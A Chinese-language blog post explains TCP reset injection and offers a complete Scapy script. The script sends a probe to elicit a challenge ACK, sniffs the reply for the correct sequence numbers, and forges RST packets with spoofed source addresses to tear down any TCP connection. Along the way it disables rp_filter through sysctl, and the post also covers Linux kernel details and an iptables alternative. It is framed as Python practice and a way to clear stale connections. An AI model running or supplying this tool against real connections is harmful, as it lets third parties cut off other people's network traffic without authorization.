漫漫长夜又要降临…黑夜里,我不敢点灯,复明日,阳光下,我不敢睁眼。

这篇文章完全来自于我在解决另一个问题是一个突然的想法。所以并没有什么前因后果。


我本来是想模拟一个TCP接收端对收到数据包的确认,采用了Scapy这个简单的工具,然而折腾了大半天没有顺利搞定。其实我是不怎么懂Python的,折腾了大半天之后,竟然对Python产生了兴趣,正好旁边有人碰到了TCP连接被莫名Reset掉的案例,借这个楼,就想写一个能把任意TCP连接给Reset掉的小程序,主要是为了用Python练一下手而已,熟悉一下Python快乐编程的过程,体验一把乐趣。


折腾Scapy这件事的结果补充一下,本初的愿望没有达成,没有完成探测拥塞控制行为的目的,反而学了一点Python,证实了我不会编程,但也不是一点都不会,我稍微会一点。

再补充一下,如果想Reset掉一个连接,何必编程,iptables足矣:
iptables -A INPUT/OUTPUT/FORWARD -p TCP ...(match元组信息) -j REJECT--reject-with
tcp-reset
把任意的TCP连接给Reset掉是比较容易的,因为TCP在收到数据包时,对发送者仅仅做以下简单的校验:

* 五元组校验;
* 校验和检测;
* 序列号校验。

这是非常松散的校验机制!此外,我们知道TCP是一个端到端的传输协议,这意味着它无法控制数据包在经由网络链路时的任何事件。于是乎以下的机制就是一个不得已的必须机制,而恰恰是该机制非常容易被利用,使得一个TCP连接非常容易被旁路干掉!该机制就是:

* TCP接收到一个莫名其妙的乱序报文时,必须立即回复一个携带正确序列号和确认号的ACK报文!
我们核对一下Linux TCP实现在收到报文时的校验函数tcp_validate_incoming:


于是乎,为了能让一个TCP端正确处理Reset报文,就必须可以通过 序列号校验, 为了能获取 正确的序列号, 可以用以上的机制给TCP其中一端发送一个
任意序列号的报文,如果你堵在两端的必经之路上,那就可以收到 正确的序列号报文 了。

其实本文的题目中,“在任意位置”
说的并不严谨,如果你猜不到正确的序列号,需要发送探测数据报文的话,那么想Reset掉连接必须有一个前提,即你必须能抓获这个探测包的回复报文,因为正确的信息都在这个回复报文里。然而如果你并没有将这个TCP杀手部署的连接的必经之路上,就不能保证回复的报文一定被抓取到。不管怎么样,相信办法还是有的。

下面是一个原理图:


是不是非常简单的呢?是的!

这个小工具要是做出来也是蛮有用的,毕竟TCP不会想原始的RFC793里的状态机那么 闭环
,有时真的是对端早就阵亡了,本端还会有一些TCP遗体,要想除掉它们,这个工具就比较有用了。此外,伟大的防火城墙最初不也是采用了这种方案双边Reset连接吗?

下面是我用Python练手的一个代码,可以完成上述原理图里的操作:
#!/usr/bin/python import sys import os import thread import time import signal
from scapy.all import * # 五元组的源IP地址,如果在其中一端执行,则为该端的IP地址 #
注意,源和目标为任意方向,不必以建立连接的主动和被动来区分。 src = sys.argv[1] # 五元组的目标IP dst = sys.argv[2] #
和源IP对应的源端口 sport = sys.argv[3] # 和目标IP对应的目标端口 dport = sys.argv[4] local = int(
sys.argv[5]) flt = "dst host " + src + " and dst port " + sport + " and src
host " + dst + " and src port " + dport def signal_handler(signal, frame): os.
_exit(0) def printrecv(pktdata): if TCP in pktdata and pktdata[TCP]: seqno =
pktdata[TCP].ack ackno = pktdata[TCP].seq if local == 1: #
如果是在本机操作,则需要把lo的rp_filter关闭,这是因为构造的Reset是被灌入到loopback网卡的。 all_rp = os.popen(
'cat /proc/sys/net/ipv4/conf/all/rp_filter').read() lo_rp = os.popen('cat
/proc/sys/net/ipv4/conf/lo/rp_filter').read() os.popen('sysctl -w
net.ipv4.conf.all.rp_filter=0') os.popen('sysctl -w
net.ipv4.conf.lo.rp_filter=0') # 为了防止tcp_v4_rcv里面的PKT_HOST类型检查失败,强制一个MAC地址 sendp
(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport),
dport= int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp) os.popen('sysctl -w
net.ipv4.conf.lo.rp_filter='+lo_rp) else: send(IP(src = dst, dst = src)/TCP(
sport= int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno),
verbose= 0) send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(
dport), flags = "R", seq=seqno), verbose = 0) os._exit(0) def recv_packet(
threadName, delay): # 抓取探测包的返回包,该返回包携带了正确的seq和ack sniff(prn = printrecv, store =
0, filter = flt) if __name__ == '__main__': signal.signal(signal.SIGINT,
signal_handler) # 创建抓包线程 thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
time.sleep(1) # 等待抓包线程就绪后发送探测包 send(IP(src = src, dst = dst)/TCP(sport = int(
sport), dport = int(dport), flags = "A"), verbose = 0) while 1: pass # 空转,不是好方法!
这个代码仅仅是为了练习Python,其实有一个现成的杀TCP连接的工具,叫做tcpkill,它的Wiki在:
https://en.wikipedia.org/wiki/Tcpkill <https://en.wikipedia.org/wiki/Tcpkill>
和tcpkill相比,我的这个比较low,但我没用过tcpkill,不晓得它有没有对待静默连接先探测的这个功能,请在使用前务必研究清楚。

现在,我来说一下做这个小程序时踩到的一些坑吧,如果对Linux的IP实现不熟悉,这些坑很难填平,当然这对于我来讲,并不是什么事。

* 构造报文的loopback注入问题
如果在本机来杀一条本机的连接,那么我们抓到探测报文的返回报文后,就可以构造Reset报文了,这看似简单,但问题是这个构造的Reset如何注入到本机的TCP端。

Python的Scapy
send/sendp均是用packet套接字来发送构造的RAW报文的,packet套接字必须注入到loopback网卡才能环回到本地TCP/IP协议栈,然而loopback接收的这个构造的报文源IP却是远端的TCP端点IP地址,这在loopback开启了rp_filter的情况下会无法通过验证的,即便是loopback的rp_filter关闭,还有一个all.rp_filter,系统在做validate
source的时候,是取的二者之间的大值,即只要有一个开启,就会开启rp验证,所以在Python脚本中需要将二者全部关闭。

* 目标MAC地址问题

使用send发送packet数据包会尝试绑定一个发送接口,然而目标地址就是本机的物理网卡的地址。构造报文是不可能通过物理网卡发送到wire上去的,而是会经由loopback环回到本地,然而此时必须指定一个目标MAC地址,否则将会取广播地址,而这个会在tcp_v4_rcv函数的开始,校验出错:
int tcp_v4_rcv(struct sk_buff *skb) { const struct iphdr *iph; const struct
tcphdr*th; struct sock *sk; int ret; struct net *net = dev_net(skb->dev); //
如果是广播MAC,type将不会是HOST if (skb->pkt_type != PACKET_HOST) goto discard_it;
* RAW套接字和Packet套接字
起初我一直以为Scapy是通过RAW套接字发送数据包的,后来strace了一下发现是通过Packet套接字发送的。不过这里可以简单解释一下二者的区别。

* Packet套接字

需要关联到一个特定的网卡直接发送,无需经过路由查找和地址解析。这是显然的,路由查找的目的无非也就是定位到一个网卡,现在网卡已经有了,直接发送即可,至于发到了哪里,能不能到达目的地,听天由命了。
* RAW套接字
这种RAW套接字发送的报文是需要经过路由查找的,只是说IP头以及IP上层的协议以及数据可以自己构造。
Packet套接字非常直接和简单,这里不多说。

现在我来就着一个问题再来解释一下一个关于RAW套接字的问题。


既然在收报文的时候需要validate源地址的合理性,那么RAW套接字在发送报文的时候,路由逻辑是不是也需要validate一下源地址的合理性呢?毕竟RAW套接字的IP头是可以自行构造的,显然源地址也可以构造。

答案是需要看该RAW套接字的IP_HDRINCL socket选项有没有设置。

* 如果设置了IP_HDRINCL选项
绕过source validate逻辑,即构造的IP源地址可以是非本机地址。
* 如果没有设置IP_HDRINCL选项
忽略构造的IP源地址,以路由查找逻辑动态确定IP源地址。
嗯,这是我总结出的一个非常简单的解释。

浙江温州皮鞋湿,下雨进水不会胖!